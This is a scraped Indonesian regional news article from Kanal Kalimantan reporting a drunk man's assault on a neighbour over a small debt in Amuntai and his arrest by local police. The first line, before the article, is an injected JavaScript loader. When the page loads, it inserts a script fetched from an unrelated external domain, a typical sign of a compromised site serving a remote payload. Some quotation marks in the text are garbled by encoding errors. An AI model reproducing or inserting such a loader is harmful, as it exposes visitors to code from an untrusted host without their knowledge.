(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Sungguh pilu apa yang dialami Yani Opak alias Dusun, pria 45 tahun ini, niat hati ingin menagih utang, namun apa dikata dirinya harus berurusan dengan pihak berwajib. Lantaran ia dilaporkan telah melakukan penganiayaan terhadap Ahmad Riyan Noor alias Riyan (37).
Dari informasi pelaku Dusun yang merupakan warga Kelurahan Antasari, Kecamatan Amuntai Tengah, Kabupaten HSU ini, dilaporkan ke Polsek Amuntai Utara, bermula ketika pelaku mendatangi rumah Riyan (37) di Desa Panangkalaan, Kecamatan Amuntai Utara, HSU, Selasa (8/10) petang sekitar pukul 15.00 Wita.
Saat itu Riyan diketahui sedang tidur di dalam kamar yang ada di rumahnya dan secara tiba-tiba datang pelaku masuk ke dalam kamar korban.
Melihat korban sedang tidur, pelaku kemudian membangunkannya dan menanyakan tentang uang pelaku sebesar Rp 100 ribu yang sebelumnya dibawa korban.
Ketika ditanyakan mengenai uang tersebut oleh pelaku, korban hanya menjawab dengan kalimat “nanti duluâ€Â.
Mendapat jawaban tersebut, pelaku lantas merasa tidak puas dan langsung memukul mulut korban sebanyak satu kali menggunakan tangan kanan.
Tidak hanya itu, pukulan kedua juga didaratkan ke mata kiri korban sebanyak dua kali dengan menggunakan tangan kanannya.
Melihat kejadian itu, isteri korban datang untuk melerai, selanjutnya pelaku keluar kamar dan pergi begitu saja.
Korban yang mengalami luka memar bibir bawah dan luka memar di sekitar mata kiri, kemudian langsung melaporkannya ke Mapolsek Amuntai Utara.
“Saat itu pelaku sedang mabuk, kalau mabuk pelaku dari keterangan korban selalu menagih masalah utang yang lama,†ujar Kapolsek Amuntai Amuntai Utara Ipda Ramadani, Kamis (10/10) kepada Kanal Kalimantan.com.
Sementara itu usai menerima pengaduan tersebut petugas Polsek Amuntai Utara bergegas mengamankan pelaku berselang beberapa jam kemudian, tepatnya sekitar pukul 17.45 Wita guna diproses lebih lanjut. Atas dugaan yang dilakukan pelaku, pelaku bakal dijerat UU pasal 351 KUHP tentang tindak pidana penganiayaan. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.